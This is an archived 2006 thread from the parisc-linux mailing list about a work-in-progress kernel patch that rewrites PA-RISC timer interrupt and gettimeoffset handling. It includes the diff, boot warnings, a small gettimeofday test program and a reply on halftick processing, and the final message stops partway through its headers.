From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Fri, 1 Sep 2006 16:48:25 -0600
Lines: 324
Approved: news@gmane.org
Message-ID: <20060901224825.GD4041@colo.lackof.org>
References: <119aab440608292148s4ee3ffb0xaac62a74c0f1403b@mail.gmail.com>
	<20060831065327.GG3999@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624171 20853 80.91.229.3 (22 Nov 2014 02:42:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:51 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Sep 2006 22:48:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx009) with SMTP; 02 Sep 2006 00:48:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3CDE87D6F4;
	Fri,  1 Sep 2006 16:48:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24739-04; Fri, 1 Sep 2006 16:48:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7AAC57D72B;
	Fri,  1 Sep 2006 16:48:30 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EEA357D6E8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Sep 2006 16:48:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23905-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Sep 2006 16:48:26 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 9754C7D6DA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Sep 2006 16:48:26 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 1BDA7360024;
	Fri,  1 Sep 2006 16:48:26 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05790-03; Fri, 1 Sep 2006 16:48:25 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 6BA5236001E; Fri,  1 Sep 2006 16:48:25 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20060831065327.GG3999@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lsydNDsZZCEXX7GPamwhVkdwIGhpZUY1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23951

On Thu, Aug 31, 2006 at 12:53:27AM -0600, Grant Grundler wrote:
> And I've hacked your version some more.
> diff is below.

version #3: seems to be working fine on 64-bit SMP.
32-bit UP kernel is still under construction.

That means gettimeoffset() hasn't been tested.
And I'm getting the following warnings on my b2600:
...
Setting the system clock..                                                      
timer_interrupt(CPU 0): delayed! run ntpdate ticks 859 cycles FFF51A1C rem 40E59C next/now FFFE7A9D/96080
gettimeoffset(CPU -119762782): missing ticks!cycles FFC87AE4 prev/now/next 6EBEA41/14C624/4C4B40  clock 0
gettimeoffset(CPU -177625053): missing ticks!cycles FFC87AE4 prev/now/next A5ED2C0/14C624/4C4B40  clock 12
gettimeoffset(CPU -238800592): missing ticks!cycles FFC87AE4 prev/now/next E0449B3/14C624/4C4B40  clock 12
gettimeoffset(CPU -302979574): missing ticks!cycles FFC87AE4 prev/now/next 11D794D9/14C624/4C4B40  clock 0
Sysgettimeoffset(CPU -361861366): missing ticks!cycles FFC87AE4 prev/now/next 155A0BD9/14C624/4C4B40  clock 12                                                  
tem Clock set. Local time: Fri Sep  1 22:42:09 UTC 2006. 

gettimeoffset printk is busticated. I'll fix that in the next version.
But it looks like wrapped values are causing problems.

The timer_interrupt warning might be reasonable given we are making
a call to firmware to set the clock and block interrupts for
the duration.


In addition to time.c, two more files are touched:
	smp.c	I couldn't see where slave CPUs would start
		the interval timer and added the call here.

	param.h	Use CONFIG_HZ for interval timer.
		We were ignored this before.

I just realized one small change to arch/parisc/kernel/processor.c
is missin from this diff. We don't want processor_probe() to clobber
CPU0's cpu_data. "it_value" has already been initialized.

enjoy!
grant


diff --git a/arch/parisc/kernel/smp.c b/arch/parisc/kernel/smp.c
index 98e4095..f33e8de 100644
--- a/arch/parisc/kernel/smp.c
+++ b/arch/parisc/kernel/smp.c
@@ -430,8 +430,9 @@ smp_do_timer(struct pt_regs *regs)
 static void __init
 smp_cpu_init(int cpunum)
 {
-	extern int init_per_cpu(int);  /* arch/parisc/kernel/setup.c */
+	extern int init_per_cpu(int);  /* arch/parisc/kernel/processor.c */
 	extern void init_IRQ(void);    /* arch/parisc/kernel/irq.c */
+	extern void start_cpu_itimer(void); /* arch/parisc/kernel/time.c */
 
 	/* Set modes and Enable floating point coprocessor */
 	(void) init_per_cpu(cpunum);
@@ -457,6 +458,7 @@ smp_cpu_init(int cpunum)
 	enter_lazy_tlb(&init_mm, current);
 
 	init_IRQ();   /* make sure no IRQ's are enabled or pending */
+	start_cpu_itimer();
 }
 
 
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 5facc9b..337c4ec 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -35,8 +35,8 @@ #include <linux/timex.h>
 /* xtime and wall_jiffies keep wall-clock time */
 extern unsigned long wall_jiffies;
 
-static long clocktick __read_mostly;	/* timer cycles per tick */
-static long halftick __read_mostly;
+static unsigned long clocktick __read_mostly;	/* timer cycles per tick */
+static unsigned long halftick __read_mostly;
 
 #ifdef CONFIG_SMP
 extern void smp_do_timer(struct pt_regs *regs);
@@ -44,34 +44,77 @@ #endif
 
 irqreturn_t timer_interrupt(int irq, void *dev_id, struct pt_regs *regs)
 {
-	long now;
-	long next_tick;
-	int nticks;
+	unsigned long now;
+	unsigned long next_tick;
+	unsigned long cycles_elapsed;
+        unsigned long cycles_remainder;
+	unsigned long ticks_elapsed = 1;	/* at least one elapsed */
 	int cpu = smp_processor_id();
 
 	profile_tick(CPU_PROFILING, regs);
 
-	now = mfctl(16);
-	/* initialize next_tick to time at last clocktick */
+	/* Initialize next_tick to the expected tick time. */
 	next_tick = cpu_data[cpu].it_value;
 
-	/* since time passes between the interrupt and the mfctl()
-	 * above, it is never true that last_tick + clocktick == now.  If we
-	 * never miss a clocktick, we could set next_tick = last_tick + clocktick
-	 * but maybe we'll miss ticks, hence the loop.
-	 *
-	 * Variables are *signed*.
+	/* Get current interval timer.
+	 * CR16 reads as 64 bits in CPU wide mode.
+	 * CR16 reads as 32 bits in CPU narrow mode.
 	 */
+	now = mfctl(16);
+
+	cycles_elapsed = now - next_tick;
+
+	/* Determine how much time elapsed.  */
+	if (now < next_tick) {
+		/* Scenario 2: CR16 wrapped after clock tick.
+		 * 1's complement will give us the "elapse cycles".
+		 *
+		 * This "cr16 wrapped" cruft is primarily for 32-bit kernels.
+		 * So think "unsigned long is u32" when reading the code.
+		 * And yes, of course 64-bit will someday wrap, but only
+	  	 * every 198841 days on a 1GHz machine.
+		 */
+		cycles_elapsed = ~cycles_elapsed;   /* off by one cycle - don't care */
+	}
+
+	ticks_elapsed += cycles_elapsed / clocktick;
+	cycles_remainder = cycles_elapsed % clocktick;
 
-	nticks = 0;
-	while((next_tick - now) < halftick) {
-		next_tick += clocktick;
-		nticks++;
+	/* Can we differentiate between "early CR16" (aka Scenario 1) and
+	 * "long delay" (aka Scenario 3)? I don't think so.
+	 *
+	 * We expected timer_interrupt to be delivered at least a few hundred
+	 * cycles after the IT fires. But it's arbitrary how much time passes
+	 * before we call it "late". I've picked one second.
+	 */
+	if (ticks_elapsed > HZ) {
+		/* Scenario 3: very long delay?  bad in any case */
+		printk (KERN_CRIT "timer_interrupt(CPU %d): delayed! run ntpdate"
+			" ticks %ld cycles %lX rem %lX"
+			" next/now %lX/%lX\n",
+			cpu,
+			ticks_elapsed, cycles_elapsed, cycles_remainder,
+			next_tick, now );
+
+		ticks_elapsed = 1;	/* hack to limit damage in loop below */
 	}
+
+
+	/* Determine when (in CR16 cycles) next IT interrupt will fire.
+	 * We want IT to fire modulo clocktick even if we miss/skip some.
+	 * But those interrupts don't in fact get delivered that regularly.
+	 */
+	next_tick = now + (clocktick - cycles_remainder);
+
+	/* Program the IT when to deliver the next interrupt. */
+        /* Only bottom 32-bits of next_tick are written to cr16.  */
 	mtctl(next_tick, 16);
 	cpu_data[cpu].it_value = next_tick;
 
-	while (nticks--) {
+	/* Now that we are done mucking with unreliable delivery of interrupts,
+	 * go do system house keeping.
+	 */
+	while (ticks_elapsed--) {
 #ifdef CONFIG_SMP
 		smp_do_timer(regs);
 #else
@@ -124,21 +167,40 @@ #ifndef CONFIG_SMP
 	 *    Once parisc-linux learns the cr16 difference between processors,
 	 *    this could be made to work.
 	 */
-	long last_tick;
-	long elapsed_cycles;
+	unsigned long now;
+	unsigned long prev_tick;
+	unsigned long next_tick;
+	unsigned long elapsed_cycles;
+	unsigned long usec;
 
-	/* it_value is the intended time of the next tick */
-	last_tick = cpu_data[smp_processor_id()].it_value;
+	next_tick = cpu_data[smp_processor_id()].it_value;
+	now = mfctl(16);	/* Read the hardware interval timer.  */
 
-	/* Subtract one tick and account for possible difference between
-	 * when we expected the tick and when it actually arrived.
-	 * (aka wall vs real)
-	 */
-	last_tick -= clocktick * (jiffies - wall_jiffies + 1);
-	elapsed_cycles = mfctl(16) - last_tick;
+	prev_tick = next_tick - clocktick;
 
-	/* the precision of this math could be improved */
-	return elapsed_cycles / (PAGE0->mem_10msec / 10000);
+	/* Assume Scenario 1: "now" is later than prev_tick.  */
+	elapsed_cycles = now - prev_tick;
+
+	if (now < prev_tick) {
+		/* Scenario 2: CR16 wrapped!
+		 * 1's complement is close enough.
+		 */
+		elapsed_cycles = ~elapsed_cycles;
+	}
+
+	if (elapsed_cycles > (HZ * clocktick)) {
+		/* Scenario 3: clock ticks are missing. */
+		printk (KERN_CRIT "gettimeoffset(CPU %d): missing ticks!"
+			"cycles %lX prev/now/next %lX/%lX/%lX  clock %lX\n",
+			 elapsed_cycles, prev_tick, now, next_tick, clocktick);
+	}
+
+	/* FIXME: Can we improve the precision? Not with PAGE0. */
+	usec = (elapsed_cycles * 10000) / PAGE0->mem_10msec;
+
+	/* add in "lost" jiffies */
+	usec += clocktick * (jiffies - wall_jiffies);
+	return usec;
 #else
 	return 0;
 #endif
@@ -149,6 +211,7 @@ do_gettimeofday (struct timeval *tv)
 {
 	unsigned long flags, seq, usec, sec;
 
+	/* Hold xtime_lock and adjust timeval.  */
 	do {
 		seq = read_seqbegin_irqsave(&xtime_lock, flags);
 		usec = gettimeoffset();
@@ -156,25 +219,13 @@ do_gettimeofday (struct timeval *tv)
 		usec += (xtime.tv_nsec / 1000);
 	} while (read_seqretry_irqrestore(&xtime_lock, seq, flags));
 
-	if (unlikely(usec > LONG_MAX)) {
-		/* This can happen if the gettimeoffset adjustment is
-		 * negative and xtime.tv_nsec is smaller than the
-		 * adjustment */
-		printk(KERN_ERR "do_gettimeofday() spurious xtime.tv_nsec of %ld\n", usec);
-		usec += USEC_PER_SEC;
-		--sec;
-		/* This should never happen, it means the negative
-		 * time adjustment was more than a second, so there's
-		 * something seriously wrong */
-		BUG_ON(usec > LONG_MAX);
-	}
-
-
+	/* Move adjusted usec's into sec's.  */
 	while (usec >= USEC_PER_SEC) {
 		usec -= USEC_PER_SEC;
 		++sec;
 	}
 
+	/* Return adjusted result.  */
 	tv->tv_sec = sec;
 	tv->tv_usec = usec;
 }
@@ -226,22 +277,24 @@ unsigned long long sched_clock(void)
 }
 
 
+void __init start_cpu_itimer(void)
+{
+	unsigned int cpu = smp_processor_id();
+	unsigned long next_tick = mfctl(16) + clocktick;
+
+	mtctl(next_tick, 16);		/* kick off Interval Timer (CR16) */
+
+	cpu_data[cpu].it_value = next_tick;
+}
+
 void __init time_init(void)
 {
-	unsigned long next_tick;
 	static struct pdc_tod tod_data;
 
 	clocktick = (100 * PAGE0->mem_10msec) / HZ;
 	halftick = clocktick / 2;
 
-	/* Setup clock interrupt timing */
-
-	next_tick = mfctl(16);
-	next_tick += clocktick;
-	cpu_data[smp_processor_id()].it_value = next_tick;
-
-	/* kick off Itimer (CR16) */
-	mtctl(next_tick, 16);
+	start_cpu_itimer();	/* get CPU 0 started */
 
 	if(pdc_tod_read(&tod_data) == 0) {
 		write_seqlock_irq(&xtime_lock);
diff --git a/include/asm-parisc/param.h b/include/asm-parisc/param.h
index 07cb9b9..32e03d8 100644
--- a/include/asm-parisc/param.h
+++ b/include/asm-parisc/param.h
@@ -2,13 +2,9 @@ #ifndef _ASMPARISC_PARAM_H
 #define _ASMPARISC_PARAM_H
 
 #ifdef __KERNEL__
-# ifdef CONFIG_PA20
-#  define HZ		1000		/* Faster machines */
-# else
-#  define HZ		100		/* Internal kernel timer frequency */
-# endif
-# define USER_HZ	100		/* .. some user interfaces are in "ticks" */
-# define CLOCKS_PER_SEC	(USER_HZ)	/* like times() */
+#define HZ		CONFIG_HZ
+#define USER_HZ		100		/* some user API use "ticks" */
+#define CLOCKS_PER_SEC	(USER_HZ)	/* like times() */
 #endif
 
 #ifndef HZ
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Fri, 1 Sep 2006 16:59:04 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <20060901225904.GE4041@colo.lackof.org>
References: <119aab440608292148s4ee3ffb0xaac62a74c0f1403b@mail.gmail.com>
	<20060831065327.GG3999@colo.lackof.org>
	<20060901224825.GD4041@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624172 20856 80.91.229.3 (22 Nov 2014 02:42:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:52 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Sep 2006 22:59:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx013) with SMTP; 02 Sep 2006 00:59:15 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 084717D7CB;
	Fri,  1 Sep 2006 16:59:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24948-09; Fri, 1 Sep 2006 16:59:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 44E4C7D7D3;
	Fri,  1 Sep 2006 16:59:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 92F967D7C7
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Sep 2006 16:59:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24948-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 1 Sep 2006 16:59:06 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 617AF7D6F4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  1 Sep 2006 16:59:06 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id E6298360024;
	Fri,  1 Sep 2006 16:59:05 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05428-10; Fri, 1 Sep 2006 16:59:04 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 95FD336001E; Fri,  1 Sep 2006 16:59:04 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20060901224825.GD4041@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dIPOdX1LYmYSfenCanc3tQ1KWkZTQdSB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23952

On Fri, Sep 01, 2006 at 04:48:25PM -0600, Grant Grundler wrote:
> On Thu, Aug 31, 2006 at 12:53:27AM -0600, Grant Grundler wrote:
> > And I've hacked your version some more.
> > diff is below.
> 
> version #3: seems to be working fine on 64-bit SMP.
> 32-bit UP kernel is still under construction.
...
> gettimeoffset printk is busticated. I'll fix that in the next version.
> But it looks like wrapped values are causing problems.

Looks like only the printk is broken.

The attached test program (based on Guy's description) seems
to be working fine on 32-bit UP/b2600:
...
Time : 1157151360 sec, 106770 usec
Time : 1157151361 sec, 116765 usec
Time : 1157151362 sec, 126770 usec
Time : 1157151363 sec, 136764 usec
...

Note there is ~10ms shift on each "Time" output.
I believe this is because the task will run on the next
tick _after_ the 1 second time has expired.

hth,
grant


#include <stdio.h>
#include <sys/time.h>
#include <time.h>
main()
{
	struct timeval tv;

	while(gettimeofday(&tv, NULL) == 0) {
		printf("Time : %d sec, %d usec\n", tv.tv_sec, tv.tv_usec);
		sleep(1);
	}
}
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Sun, 3 Sep 2006 13:31:22 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <20060903193122.GA20217@colo.lackof.org>
References: <J4TKVV$8AA4E9E98C79A1A2778C0CBF8A96F048@scarlet.be>
	<20060830165211.GA3999@colo.lackof.org>
	<119aab440608301323w309debf2g6635ce4757ac024b@mail.gmail.com>
	<1157212326.4041.26.camel@mulgrave.il.steeleye.com>
	<119aab440609030800h264c16bcn2958a78558a2ef48@mail.gmail.com>
	<1157300093.3486.15.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624172 20857 80.91.229.3 (22 Nov 2014 02:42:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:52 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Sep 2006 19:31:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx003) with SMTP; 03 Sep 2006 21:31:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 05C257D8CE;
	Sun,  3 Sep 2006 13:31:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28569-04; Sun, 3 Sep 2006 13:31:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 08E527D8CF;
	Sun,  3 Sep 2006 13:31:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A42487D8CD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 13:31:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28531-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 3 Sep 2006 13:31:24 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 739C67D8CB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  3 Sep 2006 13:31:24 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B62813680E6;
	Sun,  3 Sep 2006 13:31:23 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19768-02; Sun, 3 Sep 2006 13:31:22 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 491143680DB; Sun,  3 Sep 2006 13:31:22 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1157300093.3486.15.camel@mulgrave.il.steeleye.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +FiSdx42eWU3WK2TZm9n1WcrL0tsZs3g
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23953

On Sun, Sep 03, 2006 at 11:14:53AM -0500, James Bottomley wrote:
> Since the timer interrupts miss so many ticks, halftick processing looks
> like a good idea to me.

I was going to argue halfticks are a bad idea.
They just make it all more complicated.
My last version of the rewrite patch does away with them complete.

>   Thus, we have to assume gettimeoffset() can be
> negative by up to half a tick.  The current processing in
> do_gettimeofday() already copes nicely with this.

It deals nicely _without_ halfticks too.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Sun, 3 Sep 2006 13:38:06 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <20060903193806.GB20217@colo.lackof.org>
References: <J4TKVV$8AA4E9E98C79A1A2778C0CBF8A96F048@scarlet.be>
	<20060830165211.GA3999@colo.lackof.org>
	<119aab440608301323w309debf2g6635ce4757ac024b@mail.gmail.com>
	<1157212326.4041.26.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624172 20860 80.91.229.3 (22 Nov 2014 02:42:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:52 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:34 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Sep 2006 19:38:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 03 Sep 2006 21:38:17 +0200
